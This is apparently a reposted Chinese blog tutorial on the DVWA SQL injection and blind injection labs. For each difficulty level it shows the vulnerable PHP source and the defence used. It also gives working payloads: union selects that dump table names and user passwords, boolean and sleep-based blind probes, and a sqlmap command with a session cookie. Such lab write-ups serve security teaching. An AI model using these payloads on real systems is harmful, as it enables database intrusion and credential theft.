DVWA——SQL注入+盲注

这篇具有很好参考价值的文章主要介绍了DVWA——SQL注入+盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

(1)SQL Injection(SQL注入)

目的:执行特定sql语句,获得其他相关内容。

攻击方式:动态构造SQL语句

影响:数据库的脱裤、修改、甚至影响到操作系统。

1)low等级

漏洞原理:直接使用原始sql语句,没有代码审查

case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;

漏洞利用:

步骤1:判断是否存在注入漏洞:

1 or 1 =1  或者是 1‘ or 1 = 1 #

步骤2:判断当前表字段个数?:通过order by 排序字段来判断字段个数

1' or 1=1 order by 1 #	会返回全部内容
1' or 1 = 1 order by 2#
.... 到3的时候形式错误,说明有2个字段

步骤3:当前表所在数据库?(利用联合查询)

1' union select 1,database() #

步骤4:当前库的其他表?

1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema=database() #	
能够看到2条记录,第2条显示2个表明

注意:当前表和information_schema.tables编码不一致,实战时,使用hex转为16进制后通过工具再解码

步骤5:查看某表的敏感信息:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

2)Medium级别

利用mysqli_real_escape_string()函数对输入内容对转移字符\x00 , \n , \r , \ , ’ , ” , \x1a还原为用来的字符。页面前端改为下拉,限制用户输入。

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Display values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

解决:可以通过抓包对post进行修改。

image-20230602005004138image-20230602005030009

3)high等级

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>



加了LIMIT 1 语句(限制返回个数),但可通过 #注释掉;(但是输入sql语句和返回不在同一个页面)

查询页面和响应结果页面不是同一个,防止sqlmap的注入;但sqlmap也利用命令可以破解:

漏洞利用:利用sqlmap工具,来检测owap的hign等级的sql注入:

用burpsuite抓取发送数据包,通过sqlmap对url或者说rferer分析,可以获得漏洞

sqlmap 
-u"127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" 
--second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" 
--data="id=1&Submit=Submit" --cookie="security=high; PHPSESSID=bo5mkoi6da86nihm67dpl1il" 
-dbs --batch

4)impossible等级

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );   //占位
                $data->bindParam( ':id', $id, PDO::PARAM_INT );  //将参数与占位符绑定
                $data->execute();  //
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 2) {
                        $row = $result->fetchArray();

                        // Get values
                        $first = $row[ 'first_name' ];
                        $last  = $row[ 'last_name' ];

                        // Feedback for end user
                        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                    }
                }

                break;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在hign的基础上,进行pdo技术,先对sql语句prepare预处理,用占位符占用参数位置,再拿着某个参数 execute某个预编译的语句;

注:PDO技术(PHP Data Object)是一种接口,PHP可使用PDO一接口去连接不同数据库的一套代码;




(2)SQL Injection(Blind)

盲注:无法从页面获取执行结果,甚至注入语句是否执行都不知道。

前置知识:数字型注入和字符型注入最大区别就是是否利用引号将字符引起来,数字型被含于字符,但反之不成立。

Low等级

漏洞原理:主要利用数据库查询语言DQL,通过注入sql语句后响应的 true/false,来实现注入。

漏洞问题:没有进行代码设计,知识对查询作是/否简单的响应

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

漏洞利用:

步骤1: 判断当前数据库 长度/名称

数据库长度:

长度:1' and  length(database()) = 4 #     依次判断

数据库名称: 通过判断每个ascii值判断每个字母

库名:1' and  ascii(substr(database(),m,1))>n #  
	截取库名第m个开始,1长度的,利用ascii值判断依次判断

会得到一个dvwa的数据库名;

步骤2: 数据库下 表长度/表名

表个数:
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
表名:
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 		第一个表名逐个字母猜测

结果时guestbook和users两个表

3 表下 字段名长度/字段名

字段个数:8
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #
字段长度:7,10...
1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
字段名:user_id,first_name
1’ and ascii(substr((select column_name from information_schema.COLUMNS where table_name= ’users’ limit 0,1),1,1)) > 97 #

最后指导users所有字段名

步骤4: 一条记录

还是到具体表中找,记录的字符个数,逐个猜测

漏洞利用2:利用休眠函数sleep()和if()函数,观察延迟,

SELECT IF(expression, true, false)
1’ and if(length(database()) > 2,sleep(10),0)
1’ and sleep(if((length(database()) = 5),0,5))

Medium等级

SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>



漏洞利用:下拉列表代替 手动输入,和sql注入一致,使用转义特殊符号函数mysqli_real_escape_string

Hign等级

SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/high.php
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];    //将id,利用cookie变量传递
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";   //限制返回条数为1 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );    //不存在时,随机休眠指定时间,打乱了sleep()的注入
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>



漏洞利用:limit 1可以利用# 注释, 代码中利用sleep()函数打乱了利用sleep()的注入,所以只能使用字符盲注

high等级

SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/impossible.php
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

利用了PDO技术,防御了SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。文章来源地址https://www.toymoban.com/news/detail-469146.html

到了这里,关于DVWA——SQL注入+盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA-SQL Injection SQL注入

    SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBM

    2024年02月08日
    浏览(38)
  • 7、DVWA——SQL盲注

      盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 普通注入与盲注的区别:   普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,

    2024年02月08日
    浏览(33)
  • SQL Injection (Blind)之盲注(原理、分类、利用)

    在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:

    2024年02月04日
    浏览(81)
  • DVWA——SQL盲注(全等级)

    SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。一般有两种方式:布尔型和时间型。还有一种是报错注入,本章主要介绍布尔盲注。

    2023年04月12日
    浏览(36)
  • SQL注入-盲注(布尔盲注与时间盲注)

    目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注  2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例)  4.使用其他函数进行布尔类型的盲注(演

    2024年02月07日
    浏览(72)
  • SQL注入-时间盲注

    当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。 时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询

    2024年02月12日
    浏览(55)
  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(48)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(59)
  • SQL注入原理-时间盲注

            小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数  length()函数  实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数据库名长度 3、爆

    2023年04月10日
    浏览(56)
  • SQL注入原理-布尔盲注

            小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数  length()函数  实战演示  1、判断是否存在注入点 2、尝试用报错盲注看是否能够成功爆出数据 3、使用布尔盲注来爆出数据信息 1.爆出数据

    2023年04月08日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包